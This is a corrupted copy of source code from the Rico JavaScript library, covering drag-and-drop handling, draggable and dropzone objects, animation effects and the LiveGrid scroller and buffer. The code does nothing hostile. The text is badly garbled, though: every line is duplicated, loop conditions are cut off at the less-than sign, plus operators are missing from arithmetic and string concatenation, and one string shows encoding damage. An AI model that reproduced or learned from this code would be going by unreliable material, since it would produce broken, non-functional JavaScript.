this.dropZones = new Array();
this.draggables[ this.draggables.length ] = aDraggable;
this.draggables[ this.draggables.length ] = aDraggable;
for ( var i = 0 ; i
for ( var i = 0 ; i
this.currentDragObjects[i].deselect();
this.currentDragObjects[i].deselect();
this.currentDragObjects = new Array();
this.currentDragObjects = new Array();
this.lastSelectedDraggable = null;
this.lastSelectedDraggable = null;
return this.currentDragObjects.length > 0;
return this.currentDragObjects.length > 0;
this.origPos = RicoUtil.toDocumentPosition(mouseDownElement);
this.origPos = RicoUtil.toDocumentPosition(mouseDownElement);
this.startx = e.screenX - this.origPos.x
this.startx = e.screenX - this.origPos.x
this.starty = e.screenY - this.origPos.y
this.starty = e.screenY - this.origPos.y
//this.startComponentX = e.layerX ? e.layerX : e.offsetX;
//this.startComponentX = e.layerX ? e.layerX : e.offsetX;
//this.startComponentY = e.layerY ? e.layerY : e.offsetY;
//this.startComponentY = e.layerY ? e.layerY : e.offsetY;
//this.adjustedForDraggableSize = false;
//this.adjustedForDraggableSize = false;
this.interestedInMotionEvents = this.hasSelection();
this.interestedInMotionEvents = this.hasSelection();
this.clearSelection();
this.clearSelection();
if ( draggable.isSelected() ) {
if ( draggable.isSelected() ) {
this.currentDragObjects.removeItem(draggable);
this.currentDragObjects.removeItem(draggable);
draggable.deselect();
draggable.deselect();
if ( draggable == this.lastSelectedDraggable )
if ( draggable == this.lastSelectedDraggable )
this.lastSelectedDraggable = null;
this.lastSelectedDraggable = null;
this.currentDragObjects[ this.currentDragObjects.length ] = draggable;
this.currentDragObjects[ this.currentDragObjects.length ] = draggable;
draggable.select();
draggable.select();
this.lastSelectedDraggable = draggable;
this.lastSelectedDraggable = draggable;
if ( arguments.length == 0 )
if ( arguments.length == 0 )
var nsEvent = e.which != undefined;
var nsEvent = e.which != undefined;
if ( (nsEvent && e.which != 1) || (!nsEvent && e.button != 1))
if ( (nsEvent && e.which != 1) || (!nsEvent && e.button != 1))
var eventTarget = e.target ? e.target : e.srcElement;
var eventTarget = e.target ? e.target : e.srcElement;
var draggableObject = eventTarget.draggable;
var draggableObject = eventTarget.draggable;
while (draggableObject == null && candidate.parentNode) {
while (draggableObject == null && candidate.parentNode) {
candidate = candidate.parentNode;
candidate = candidate.parentNode;
draggableObject = candidate.draggable;
draggableObject = candidate.draggable;
this.updateSelection( draggableObject, e.ctrlKey );
this.updateSelection( draggableObject, e.ctrlKey );
if ( this.hasSelection() )
if ( this.hasSelection() )
for ( var i = 0 ; i
for ( var i = 0 ; i
this.dropZones[i].clearPositionCache();
this.dropZones[i].clearPositionCache();
this.setStartDragFromElement( e, draggableObject.getMouseDownHTMLElement() );
this.setStartDragFromElement( e, draggableObject.getMouseDownHTMLElement() );
if ( !this.interestedInMotionEvents ) {
if ( !this.interestedInMotionEvents ) {
if ( ! this.hasSelection() )
if ( ! this.hasSelection() )
if ( ! this.currentDragObjectVisible )
if ( ! this.currentDragObjectVisible )
if ( !this.activatedDropZones )
if ( !this.activatedDropZones )
//if ( !this.adjustedForDraggableSize )
//if ( !this.adjustedForDraggableSize )
if ( !this.hasSelection() )
if ( !this.hasSelection() )
if ( this.currentDragObjects.length > 1 )
if ( this.currentDragObjects.length > 1 )
dragElement = this.currentDragObjects[0].getMultiObjectDragGUI(this.currentDragObjects);
dragElement = this.currentDragObjects[0].getMultiObjectDragGUI(this.currentDragObjects);
dragElement = this.currentDragObjects[0].getSingleObjectDragGUI();
dragElement = this.currentDragObjects[0].getSingleObjectDragGUI();
if ( RicoUtil.getElementsComputedStyle(dragElement, "position") != "absolute" )
if ( RicoUtil.getElementsComputedStyle(dragElement, "position") != "absolute" )
dragElement.style.position = "absolute";
dragElement.style.position = "absolute";
if ( dragElement.parentNode == null || dragElement.parentNode.nodeType == 11 )
if ( dragElement.parentNode == null || dragElement.parentNode.nodeType == 11 )
document.body.appendChild(dragElement);
document.body.appendChild(dragElement);
this.dragElement = dragElement;
this.dragElement = dragElement;
this.currentDragObjectVisible = true;
this.currentDragObjectVisible = true;
var dragElementWidth = this.dragElement.offsetWidth;
var dragElementWidth = this.dragElement.offsetWidth;
var dragElementHeight = this.dragElement.offsetHeight;
var dragElementHeight = this.dragElement.offsetHeight;
if ( this.startComponentX > dragElementWidth )
if ( this.startComponentX > dragElementWidth )
this.startx -= this.startComponentX - dragElementWidth 2;
this.startx -= this.startComponentX - dragElementWidth 2;
if ( e.offsetY ) {
if ( e.offsetY ) {
if ( this.startComponentY > dragElementHeight )
if ( this.startComponentY > dragElementHeight )
this.starty -= this.startComponentY - dragElementHeight 2;
this.starty -= this.startComponentY - dragElementHeight 2;
this.adjustedForDraggableSize = true;
this.adjustedForDraggableSize = true;
return e.offsetX ? document.body.scrollLeft : 0
return e.offsetX ? document.body.scrollLeft : 0
return e.offsetY ? document.body.scrollTop:0
return e.offsetY ? document.body.scrollTop:0
var dragObjectStyle = this.dragElement.style;
var dragObjectStyle = this.dragElement.style;
dragObjectStyle.left = (e.screenX this._leftOffset(e) - this.startx) "px"
dragObjectStyle.left = (e.screenX this._leftOffset(e) - this.startx) "px"
dragObjectStyle.top = (e.screenY this._topOffset(e) - this.starty) "px";
dragObjectStyle.top = (e.screenY this._topOffset(e) - this.starty) "px";
var n = this.dropZones.length;
var n = this.dropZones.length;
if ( ! this._mousePointInDropZone( e, this.dropZones[i] ) )
if ( ! this._mousePointInDropZone( e, this.dropZones[i] ) )
this.dropZones[i].hideHover();
this.dropZones[i].hideHover();
if ( this._mousePointInDropZone( e, this.dropZones[i] ) ) {
if ( this._mousePointInDropZone( e, this.dropZones[i] ) ) {
if ( this.dropZones[i].canAccept(this.currentDragObjects) )
if ( this.dropZones[i].canAccept(this.currentDragObjects) )
this.dropZones[i].showHover();
this.dropZones[i].showHover();
this.currentDragObjects[i].startDrag();
this.currentDragObjects[i].startDrag();
if ( this.dragElement == null ) {
if ( this.dragElement == null ) {
this._completeDropOperation(e);
this._completeDropOperation(e);
new Rico.Effect.Position( this.dragElement,
new Rico.Effect.Position( this.dragElement,
this.origPos.x,
this.origPos.x,
this.origPos.y,
this.origPos.y,
{ complete : this._doCancelDragProcessing.bind(this) } );
{ complete : this._doCancelDragProcessing.bind(this) } );
Event.stopObserving(document.body, "mousemove", this._mouseMove);
Event.stopObserving(document.body, "mousemove", this._mouseMove);
Event.stopObserving(document.body, "mouseup", this._mouseUp);
Event.stopObserving(document.body, "mouseup", this._mouseUp);
_completeDropOperation: function(e) {
_completeDropOperation: function(e) {
if ( this.dragElement != this.currentDragObjects[0].getMouseDownHTMLElement() ) {
if ( this.dragElement != this.currentDragObjects[0].getMouseDownHTMLElement() ) {
if ( this.dragElement.parentNode != null )
if ( this.dragElement.parentNode != null )
this.dragElement.parentNode.removeChild(this.dragElement);
this.dragElement.parentNode.removeChild(this.dragElement);
this.clearSelection();
this.clearSelection();
this.dragElement = null;
this.dragElement = null;
if ( this.dragElement != this.currentDragObjects[0].getMouseDownHTMLElement() && this.dragElement)
if ( this.dragElement != this.currentDragObjects[0].getMouseDownHTMLElement() && this.dragElement)
if ( this.dragElement.parentNode != null )
if ( this.dragElement.parentNode != null )
this.dragElement.parentNode.removeChild(this.dragElement);
this.dragElement.parentNode.removeChild(this.dragElement);
if ( this.dropZones[i].canAccept(this.currentDragObjects) ) {
if ( this.dropZones[i].canAccept(this.currentDragObjects) ) {
this.dropZones[i].hideHover();
this.dropZones[i].hideHover();
this.dropZones[i].accept(this.currentDragObjects);
this.dropZones[i].accept(this.currentDragObjects);
this.currentDragObjects[i].cancelDrag();
this.currentDragObjects[i].cancelDrag();
this.currentDragObjects[i].endDrag();
this.currentDragObjects[i].endDrag();
var absoluteRect = dropZone.getAbsoluteRect();
var absoluteRect = dropZone.getAbsoluteRect();
return e.clientX > absoluteRect.left this._leftOffset(e) &&
return e.clientX > absoluteRect.left this._leftOffset(e) &&
e.clientX
e.clientX
e.clientY > absoluteRect.top this._topOffset(e) &&
e.clientY > absoluteRect.top this._topOffset(e) &&
e.clientY
e.clientY
htmlElement = aDraggable.getMouseDownHTMLElement();
htmlElement = aDraggable.getMouseDownHTMLElement();
htmlElement.draggable = aDraggable;
htmlElement.draggable = aDraggable;
Event.observe(htmlElement , "mousedown", this._onmousedown.bindAsEventListener(this));
Event.observe(htmlElement , "mousedown", this._onmousedown.bindAsEventListener(this));
Event.observe(htmlElement, "mousedown", this._mouseDown);
Event.observe(htmlElement, "mousedown", this._mouseDown);
var dropZone = this.dropZones[i];
var dropZone = this.dropZones[i];
if ( dropZone.canAccept(this.currentDragObjects) )
if ( dropZone.canAccept(this.currentDragObjects) )
dropZone.activate();
dropZone.activate();
this.activatedDropZones = true;
this.activatedDropZones = true;
this.dropZones[i].deactivate();
this.dropZones[i].deactivate();
this.activatedDropZones = false;
this.activatedDropZones = false;
Event.observe(document.body, "mousemove", this._mouseMove);
Event.observe(document.body, "mousemove", this._mouseMove);
Event.observe(document.body, "mouseup", this._mouseUp);
Event.observe(document.body, "mouseup", this._mouseUp);
if ( e.stopPropagation != undefined )
if ( e.stopPropagation != undefined )
e.stopPropagation();
e.stopPropagation();
else if ( e.cancelBubble != undefined )
else if ( e.cancelBubble != undefined )
e.cancelBubble = true;
e.cancelBubble = true;
if ( e.preventDefault != undefined )
if ( e.preventDefault != undefined )
e.preventDefault();
e.preventDefault();
e.returnValue = false;
e.returnValue = false;
if ( typeof document.implementation != "undefined" &&
if ( typeof document.implementation != "undefined" &&
document.implementation.hasFeature("HTML", "1.0") &&
document.implementation.hasFeature("HTML", "1.0") &&
document.implementation.hasFeature("Events", "2.0") &&
document.implementation.hasFeature("Events", "2.0") &&
document.implementation.hasFeature("CSS", "2.0") ) {
document.implementation.hasFeature("CSS", "2.0") ) {
document.addEventListener("mouseup", this._mouseUpHandler.bindAsEventListener(this), false);
document.addEventListener("mouseup", this._mouseUpHandler.bindAsEventListener(this), false);
document.addEventListener("mousemove", this._mouseMoveHandler.bindAsEventListener(this), false);
document.addEventListener("mousemove", this._mouseMoveHandler.bindAsEventListener(this), false);
document.attachEvent( "onmouseup", this._mouseUpHandler.bindAsEventListener(this) );
document.attachEvent( "onmouseup", this._mouseUpHandler.bindAsEventListener(this) );
document.attachEvent( "onmousemove", this._mouseMoveHandler.bindAsEventListener(this) );
document.attachEvent( "onmousemove", this._mouseMoveHandler.bindAsEventListener(this) );
var dndMgr = new Rico.DragAndDrop();
var dndMgr = new Rico.DragAndDrop();
dndMgr.initializeEventHandlers();
dndMgr.initializeEventHandlers();
//-------------------- ricoDraggable.js
//-------------------- ricoDraggable.js
Rico.Draggable = Class.create();
Rico.Draggable = Class.create();
Rico.Draggable.prototype = {
Rico.Draggable.prototype = {
this.type = type;
this.type = type;
this.htmlElement = $(htmlElement);
this.htmlElement = $(htmlElement);
this.selected = false;
this.selected = false;
* added to it in order to initiate a drag operation
* added to it in order to initiate a drag operation
return this.htmlElement;
return this.htmlElement;
this.selected = true;
this.selected = true;
if ( this.showingSelected )
if ( this.showingSelected )
var htmlElement = this.getMouseDownHTMLElement();
var htmlElement = this.getMouseDownHTMLElement();
var color = Rico.Color.createColorFromBackground(htmlElement);
var color = Rico.Color.createColorFromBackground(htmlElement);
color.isBright() ? color.darken(0.033) : color.brighten(0.033);
color.isBright() ? color.darken(0.033) : color.brighten(0.033);
this.saveBackground = RicoUtil.getElementsComputedStyle(htmlElement, "backgroundColor", "background-color");
this.saveBackground = RicoUtil.getElementsComputedStyle(htmlElement, "backgroundColor", "background-color");
htmlElement.style.backgroundColor = color.asHex();
htmlElement.style.backgroundColor = color.asHex();
this.showingSelected = true;
this.showingSelected = true;
this.selected = false;
this.selected = false;
if ( !this.showingSelected )
if ( !this.showingSelected )
htmlElement.style.backgroundColor = this.saveBackground;
htmlElement.style.backgroundColor = this.saveBackground;
this.showingSelected = false;
this.showingSelected = false;
return this.selected;
return this.selected;
return this.type ":" this.htmlElement ":";
return this.type ":" this.htmlElement ":";
//-------------------- ricoDropzone.js
//-------------------- ricoDropzone.js
Rico.Dropzone = Class.create();
Rico.Dropzone = Class.create();
Rico.Dropzone.prototype = {
Rico.Dropzone.prototype = {
this.htmlElement = $(htmlElement);
this.htmlElement = $(htmlElement);
this.absoluteRect = null;
this.absoluteRect = null;
if ( this.absoluteRect == null ) {
if ( this.absoluteRect == null ) {
var htmlElement = this.getHTMLElement();
var htmlElement = this.getHTMLElement();
var pos = RicoUtil.toViewportPosition(htmlElement);
var pos = RicoUtil.toViewportPosition(htmlElement);
this.absoluteRect = {
this.absoluteRect = {
bottom: pos.y htmlElement.offsetHeight,
bottom: pos.y htmlElement.offsetHeight,
right: pos.x htmlElement.offsetWidth
right: pos.x htmlElement.offsetWidth
return this.absoluteRect;
return this.absoluteRect;
var htmlElement = this.getHTMLElement();
var htmlElement = this.getHTMLElement();
if (htmlElement == null || this.showingActive)
if (htmlElement == null || this.showingActive)
this.showingActive = true;
this.showingActive = true;
this.saveBackgroundColor = htmlElement.style.backgroundColor;
this.saveBackgroundColor = htmlElement.style.backgroundColor;
var currentColor = Rico.Color.createColorFromBackground(htmlElement);
var currentColor = Rico.Color.createColorFromBackground(htmlElement);
htmlElement.style.backgroundColor = fallbackColor;
htmlElement.style.backgroundColor = fallbackColor;
currentColor.isBright() ? currentColor.darken(0.2) : currentColor.brighten(0.2);
currentColor.isBright() ? currentColor.darken(0.2) : currentColor.brighten(0.2);
htmlElement.style.backgroundColor = currentColor.asHex();
htmlElement.style.backgroundColor = currentColor.asHex();
if (htmlElement == null || !this.showingActive)
if (htmlElement == null || !this.showingActive)
htmlElement.style.backgroundColor = this.saveBackgroundColor;
htmlElement.style.backgroundColor = this.saveBackgroundColor;
this.showingActive = false;
this.showingActive = false;
this.saveBackgroundColor = null;
this.saveBackgroundColor = null;
if ( htmlElement == null || this.showingHover )
if ( htmlElement == null || this.showingHover )
this.saveBorderWidth = htmlElement.style.borderWidth;
this.saveBorderWidth = htmlElement.style.borderWidth;
this.saveBorderStyle = htmlElement.style.borderStyle;
this.saveBorderStyle = htmlElement.style.borderStyle;
this.saveBorderColor = htmlElement.style.borderColor;
this.saveBorderColor = htmlElement.style.borderColor;
this.showingHover = true;
this.showingHover = true;
htmlElement.style.borderWidth = "1px";
htmlElement.style.borderWidth = "1px";
htmlElement.style.borderStyle = "solid";
htmlElement.style.borderStyle = "solid";
//htmlElement.style.borderColor = "#ff9900";
//htmlElement.style.borderColor = "#ff9900";
htmlElement.style.borderColor = "#ffff00";
htmlElement.style.borderColor = "#ffff00";
if ( htmlElement == null || !this.showingHover )
if ( htmlElement == null || !this.showingHover )
htmlElement.style.borderWidth = this.saveBorderWidth;
htmlElement.style.borderWidth = this.saveBorderWidth;
htmlElement.style.borderStyle = this.saveBorderStyle;
htmlElement.style.borderStyle = this.saveBorderStyle;
htmlElement.style.borderColor = this.saveBorderColor;
htmlElement.style.borderColor = this.saveBorderColor;
this.showingHover = false;
this.showingHover = false;
n = draggableObjects.length;
n = draggableObjects.length;
var theGUI = draggableObjects[i].getDroppedGUI();
var theGUI = draggableObjects[i].getDroppedGUI();
if ( RicoUtil.getElementsComputedStyle( theGUI, "position" ) == "absolute" )
if ( RicoUtil.getElementsComputedStyle( theGUI, "position" ) == "absolute" )
theGUI.style.position = "static";
theGUI.style.position = "static";
theGUI.style.top = "";
theGUI.style.top = "";
htmlElement.appendChild(theGUI);
htmlElement.appendChild(theGUI);
//-------------------- ricoEffects.js
//-------------------- ricoEffects.js
Rico.Effect = {};
Rico.Effect = {};
Rico.Effect.SizeAndPosition = Class.create();
Rico.Effect.SizeAndPosition = Class.create();
Rico.Effect.SizeAndPosition.prototype = {
Rico.Effect.SizeAndPosition.prototype = {
this.element = $(element);
this.element = $(element);
this.duration = duration;
this.duration = duration;
this.steps = steps;
this.steps = steps;
this.options = arguments[7] || {};
this.options = arguments[7] || {};
this.sizeAndPosition();
this.sizeAndPosition();
if (this.isFinished()) {
if (this.isFinished()) {
if(this.options.complete) this.options.complete(this);
if(this.options.complete) this.options.complete(this);
if (this.timer)
if (this.timer)
clearTimeout(this.timer);
clearTimeout(this.timer);
var stepDuration = Math.round(this.duration/this.steps) ;
var stepDuration = Math.round(this.duration/this.steps) ;
var currentX = this.element.offsetLeft;
var currentX = this.element.offsetLeft;
var currentY = this.element.offsetTop;
var currentY = this.element.offsetTop;
var currentW = this.element.offsetWidth;
var currentW = this.element.offsetWidth;
var currentH = this.element.offsetHeight;
var currentH = this.element.offsetHeight;
var difX = this.steps > 0 ? (this.x - currentX)/this.steps : 0;
var difX = this.steps > 0 ? (this.x - currentX)/this.steps : 0;
var difY = this.steps > 0 ? (this.y - currentY)/this.steps : 0;
var difY = this.steps > 0 ? (this.y - currentY)/this.steps : 0;
var difW = this.steps > 0 ? (this.w - currentW)/this.steps : 0;
var difW = this.steps > 0 ? (this.w - currentW)/this.steps : 0;
var difH = this.steps > 0 ? (this.h - currentH)/this.steps : 0;
var difH = this.steps > 0 ? (this.h - currentH)/this.steps : 0;
this.moveBy(difX, difY);
this.moveBy(difX, difY);
this.resizeBy(difW, difH);
this.resizeBy(difW, difH);
this.duration -= stepDuration;
this.duration -= stepDuration;
this.steps--;
this.steps--;
this.timer = setTimeout(this.sizeAndPosition.bind(this), stepDuration);
this.timer = setTimeout(this.sizeAndPosition.bind(this), stepDuration);
return this.steps
return this.steps
var currentLeft = this.element.offsetLeft;
var currentLeft = this.element.offsetLeft;
var currentTop = this.element.offsetTop;
var currentTop = this.element.offsetTop;
var style = this.element.style;
var style = this.element.style;
style.left = (currentLeft intDifX) "px";
style.left = (currentLeft intDifX) "px";
style.top = (currentTop intDifY) "px";
style.top = (currentTop intDifY) "px";
var currentWidth = this.element.offsetWidth;
var currentWidth = this.element.offsetWidth;
var currentHeight = this.element.offsetHeight;
var currentHeight = this.element.offsetHeight;
style.width = (currentWidth intDifW) "px";
style.width = (currentWidth intDifW) "px";
style.height = (currentHeight intDifH) "px";
style.height = (currentHeight intDifH) "px";
Rico.Effect.Size = Class.create();
Rico.Effect.Size = Class.create();
Rico.Effect.Size.prototype = {
Rico.Effect.Size.prototype = {
new Rico.Effect.SizeAndPosition(element, null, null, w, h, duration, steps, options);
new Rico.Effect.SizeAndPosition(element, null, null, w, h, duration, steps, options);
Rico.Effect.Position = Class.create();
Rico.Effect.Position = Class.create();
Rico.Effect.Position.prototype = {
Rico.Effect.Position.prototype = {
new Rico.Effect.SizeAndPosition(element, x, y, null, null, duration, steps, options);
new Rico.Effect.SizeAndPosition(element, x, y, null, null, duration, steps, options);
Rico.Effect.Round = Class.create();
Rico.Effect.Round = Class.create();
Rico.Effect.Round.prototype = {
Rico.Effect.Round.prototype = {
var elements = document.getElementsByTagAndClassName(tagName,className);
var elements = document.getElementsByTagAndClassName(tagName,className);
for ( var i = 0 ; i
for ( var i = 0 ; i
Rico.Corner.round( elements[i], options );
Rico.Corner.round( elements[i], options );
Rico.Effect.FadeTo = Class.create();
Rico.Effect.FadeTo = Class.create();
Rico.Effect.FadeTo.prototype = {
Rico.Effect.FadeTo.prototype = {
this.element = $(element);
this.element = $(element);
this.opacity = opacity;
this.opacity = opacity;
this.options = arguments[4] || {};
this.options = arguments[4] || {};
this.fadeTo();
this.fadeTo();
var currentOpacity = this.getElementOpacity();
var currentOpacity = this.getElementOpacity();
var delta = this.steps > 0 ? (this.opacity - currentOpacity)/this.steps : 0;
var delta = this.steps > 0 ? (this.opacity - currentOpacity)/this.steps : 0;
this.changeOpacityBy(delta);
this.changeOpacityBy(delta);
this.timer = setTimeout(this.fadeTo.bind(this), stepDuration);
this.timer = setTimeout(this.fadeTo.bind(this), stepDuration);
var newOpacity = Math.max(0, Math.min(currentOpacity v, 1));
var newOpacity = Math.max(0, Math.min(currentOpacity v, 1));
this.element.ricoOpacity = newOpacity;
this.element.ricoOpacity = newOpacity;
this.element.style.filter = "alpha(opacity:" Math.round(newOpacity*100) ")";
this.element.style.filter = "alpha(opacity:" Math.round(newOpacity*100) ")";
this.element.style.opacity = newOpacity; /*//*/;
this.element.style.opacity = newOpacity; /*//*/;
if ( this.element.ricoOpacity == undefined ) {
if ( this.element.ricoOpacity == undefined ) {
var opacity = RicoUtil.getElementsComputedStyle(this.element, 'opacity');
var opacity = RicoUtil.getElementsComputedStyle(this.element, 'opacity');
this.element.ricoOpacity = opacity != undefined ? opacity : 1.0;
this.element.ricoOpacity = opacity != undefined ? opacity : 1.0;
return parseFloat(this.element.ricoOpacity);
return parseFloat(this.element.ricoOpacity);
Rico.Effect.AccordionSize = Class.create();
Rico.Effect.AccordionSize = Class.create();
Rico.Effect.AccordionSize.prototype = {
Rico.Effect.AccordionSize.prototype = {
this.start = start;
this.start = start;
this.end = end;
this.end = end;
this.options = arguments[6] || {};
this.options = arguments[6] || {};
this.accordionSize();
this.accordionSize();
this.e1.style.height = this.start "px";
this.e1.style.height = this.start "px";
this.e2.style.height = this.end "px";
this.e2.style.height = this.end "px";
if(this.options.complete)
if(this.options.complete)
this.options.complete(this);
this.options.complete(this);
var diff = this.steps > 0 ? (parseInt(this.e1.offsetHeight) - this.start)/this.steps : 0;
var diff = this.steps > 0 ? (parseInt(this.e1.offsetHeight) - this.start)/this.steps : 0;
this.resizeBy(diff);
this.resizeBy(diff);
this.timer = setTimeout(this.accordionSize.bind(this), stepDuration);
this.timer = setTimeout(this.accordionSize.bind(this), stepDuration);
var h1Height = this.e1.offsetHeight;
var h1Height = this.e1.offsetHeight;
var h2Height = this.e2.offsetHeight;
var h2Height = this.e2.offsetHeight;
this.e1.style.height = (h1Height - intDiff) "px";
this.e1.style.height = (h1Height - intDiff) "px";
this.e2.style.height = (h2Height intDiff) "px";
this.e2.style.height = (h2Height intDiff) "px";
//-------------------- ricoLiveGrid.js
//-------------------- ricoLiveGrid.js
// Rico.LiveGridMetaData -----------------------------------------------------
// Rico.LiveGridMetaData -----------------------------------------------------
Rico.LiveGridMetaData = Class.create();
Rico.LiveGridMetaData = Class.create();
Rico.LiveGridMetaData.prototype = {
Rico.LiveGridMetaData.prototype = {
this.pageSize = pageSize;
this.pageSize = pageSize;
this.totalRows = totalRows;
this.totalRows = totalRows;
this.ArrowHeight = 16;
this.ArrowHeight = 16;
this.columnCount = columnCount;
this.columnCount = columnCount;
return this.pageSize;
return this.pageSize;
return this.totalRows;
return this.totalRows;
this.totalRows = n;
this.totalRows = n;
return parseInt(this.options.largeBufferSize * this.pageSize);
return parseInt(this.options.largeBufferSize * this.pageSize);
return parseInt(this.getLargeBufferSize() * this.options.nearLimitFactor);
return parseInt(this.getLargeBufferSize() * this.options.nearLimitFactor);
// Rico.LiveGridScroller -----------------------------------------------------
// Rico.LiveGridScroller -----------------------------------------------------
Rico.LiveGridScroller = Class.create();
Rico.LiveGridScroller = Class.create();
Rico.LiveGridScroller.prototype = {
Rico.LiveGridScroller.prototype = {
initialize: function(liveGrid, viewPort) {
initialize: function(liveGrid, viewPort) {
this.isIE = navigator.userAgent.toLowerCase().indexOf("msie") >= 0;
this.isIE = navigator.userAgent.toLowerCase().indexOf("msie") >= 0;
this.liveGrid = liveGrid;
this.liveGrid = liveGrid;
this.metaData = liveGrid.metaData;
this.metaData = liveGrid.metaData;
this.createScrollBar();
this.createScrollBar();
this.scrollTimeout = null;
this.scrollTimeout = null;
this.lastScrollPos = 0;
this.lastScrollPos = 0;
this.viewPort = viewPort;
this.viewPort = viewPort;
this.rows = new Array();
this.rows = new Array();
return this.scrollerDiv.onscroll == null;
return this.scrollerDiv.onscroll == null;
this.scrollerDiv.onscroll = this.handleScroll.bindAsEventListener(this);
this.scrollerDiv.onscroll = this.handleScroll.bindAsEventListener(this);
this.scrollerDiv.onscroll = null;
this.scrollerDiv.onscroll = null;
if ( !this.isIE ) return;
if ( !this.isIE ) return;
var headerTable = $(this.liveGrid.tableId "_header");
var headerTable = $(this.liveGrid.tableId "_header");
headerTable.rows[0].cells[0].style.width =
headerTable.rows[0].cells[0].style.width =
(headerTable.rows[0].cells[0].offsetWidth 1) "px";
(headerTable.rows[0].cells[0].offsetWidth 1) "px";
var visibleHeight = this.liveGrid.viewPort.visibleHeight();
var visibleHeight = this.liveGrid.viewPort.visibleHeight();
this.scrollerDiv = document.createElement("div");
this.scrollerDiv = document.createElement("div");
var scrollerStyle = this.scrollerDiv.style;
var scrollerStyle = this.scrollerDiv.style;
scrollerStyle.borderRight = this.liveGrid.options.scrollerBorderRight;
scrollerStyle.borderRight = this.liveGrid.options.scrollerBorderRight;
scrollerStyle.position = "relative";
scrollerStyle.position = "relative";
scrollerStyle.left = this.isIE ? "-6px" : "-3px";
scrollerStyle.left = this.isIE ? "-6px" : "-3px";
scrollerStyle.width = "19px";
scrollerStyle.width = "19px";
scrollerStyle.height = visibleHeight "px";
scrollerStyle.height = visibleHeight "px";
scrollerStyle.overflow = "auto";
scrollerStyle.overflow = "auto";
this.heightDiv = document.createElement("div");
this.heightDiv = document.createElement("div");
this.heightDiv.style.width = "1px";
this.heightDiv.style.width = "1px";
this.heightDiv.style.height = parseInt(visibleHeight *
this.heightDiv.style.height = parseInt(visibleHeight *
this.metaData.getTotalRows()/this.metaData.getPageSize()) "px" ;
this.metaData.getTotalRows()/this.metaData.getPageSize()) "px" ;
this.scrollerDiv.appendChild(this.heightDiv);
this.scrollerDiv.appendChild(this.heightDiv);
var table = this.liveGrid.table;
var table = this.liveGrid.table;
table.parentNode.parentNode.insertBefore( this.scrollerDiv, table.parentNode.nextSibling );
table.parentNode.parentNode.insertBefore( this.scrollerDiv, table.parentNode.nextSibling );
var eventName = this.isIE ? "mousewheel" : "DOMMouseScroll";
var eventName = this.isIE ? "mousewheel" : "DOMMouseScroll";
Event.observe(table, eventName,
Event.observe(table, eventName,
if (evt.wheelDelta>=0 || evt.detail
if (evt.wheelDelta>=0 || evt.detail
this.scrollerDiv.scrollTop -= (2*this.viewPort.rowHeight);
this.scrollerDiv.scrollTop -= (2*this.viewPort.rowHeight);
this.scrollerDiv.scrollTop = (2*this.viewPort.rowHeight);
this.scrollerDiv.scrollTop = (2*this.viewPort.rowHeight);
this.handleScroll(false);
this.handleScroll(false);
}.bindAsEventListener(this),
}.bindAsEventListener(this),
var table = this.liveGrid.table;
var table = this.liveGrid.table;
var visibleHeight = this.viewPort.visibleHeight();
var visibleHeight = this.viewPort.visibleHeight();
this.metaData.getTotalRows()/this.metaData.getPageSize()) "px";
this.metaData.getTotalRows()/this.metaData.getPageSize()) "px";
return (rowOffset / this.metaData.getTotalRows()) * this.heightDiv.offsetHeight
return (rowOffset / this.metaData.getTotalRows()) * this.heightDiv.offsetHeight
this.scrollerDiv.scrollTop = this.rowToPixel(rowOffset);
this.scrollerDiv.scrollTop = this.rowToPixel(rowOffset);
if ( this.metaData.options.onscroll )
if ( this.metaData.options.onscroll )
this.metaData.options.onscroll( this.liveGrid, rowOffset );
this.metaData.options.onscroll( this.liveGrid, rowOffset );
if ( this.scrollTimeout )
if ( this.scrollTimeout )
clearTimeout( this.scrollTimeout );
clearTimeout( this.scrollTimeout );
var scrollDiff = this.lastScrollPos-this.scrollerDiv.scrollTop;
var scrollDiff = this.lastScrollPos-this.scrollerDiv.scrollTop;
var r = this.scrollerDiv.scrollTop % this.viewPort.rowHeight;
var r = this.scrollerDiv.scrollTop % this.viewPort.rowHeight;
this.unplug();
this.unplug();
this.scrollerDiv.scrollTop = (this.viewPort.rowHeight-r);
this.scrollerDiv.scrollTop = (this.viewPort.rowHeight-r);
this.scrollerDiv.scrollTop -= r;
this.scrollerDiv.scrollTop -= r;
this.plugin();
this.plugin();
var contentOffset = parseInt(this.scrollerDiv.scrollTop / this.viewPort.rowHeight);
var contentOffset = parseInt(this.scrollerDiv.scrollTop / this.viewPort.rowHeight);
this.liveGrid.requestContentRefresh(contentOffset);
this.liveGrid.requestContentRefresh(contentOffset);
this.viewPort.scrollTo(this.scrollerDiv.scrollTop);
this.viewPort.scrollTo(this.scrollerDiv.scrollTop);
if ( this.metaData.options.onscroll )
if ( this.metaData.options.onscroll )
this.metaData.options.onscroll( this.liveGrid, contentOffset );
this.metaData.options.onscroll( this.liveGrid, contentOffset );
this.scrollTimeout = setTimeout(this.scrollIdle.bind(this), 1200 );
this.scrollTimeout = setTimeout(this.scrollIdle.bind(this), 1200 );
this.lastScrollPos = this.scrollerDiv.scrollTop;
this.lastScrollPos = this.scrollerDiv.scrollTop;
if ( this.metaData.options.onscrollidle )
if ( this.metaData.options.onscrollidle )
this.metaData.options.onscrollidle();
this.metaData.options.onscrollidle();
// Rico.LiveGridBuffer -----------------------------------------------------
// Rico.LiveGridBuffer -----------------------------------------------------
Rico.LiveGridBuffer = Class.create();
Rico.LiveGridBuffer = Class.create();
Rico.LiveGridBuffer.prototype = {
Rico.LiveGridBuffer.prototype = {
initialize: function(metaData, viewPort) {
initialize: function(metaData, viewPort) {
this.startPos = 0;
this.startPos = 0;
this.size = 0;
this.size = 0;
this.metaData = metaData;
this.metaData = metaData;
this.rows = new Array();
this.rows = new Array();
this.updateInProgress = false;
this.updateInProgress = false;
this.maxBufferSize = metaData.getLargeBufferSize() * 2;
this.maxBufferSize = metaData.getLargeBufferSize() * 2;
this.maxFetchSize = metaData.getLargeBufferSize();
this.maxFetchSize = metaData.getLargeBufferSize();
this.lastOffset = 0;
this.lastOffset = 0;
if (!this.blankRow ) {
if (!this.blankRow ) {
this.blankRow = new Array();
this.blankRow = new Array();
for ( var i=0; i
for ( var i=0; i
this.blankRow[i] = "Â ";
this.blankRow[i] = "Â ";
return this.blankRow;
return this.blankRow;
var rowsElement = ajaxResponse.getElementsByTagName('rows')[0];
var rowsElement = ajaxResponse.getElementsByTagName('rows')[0];
this.updateUI = rowsElement.getAttribute("update_ui") == "true"
this.updateUI = rowsElement.getAttribute("update_ui") == "true"
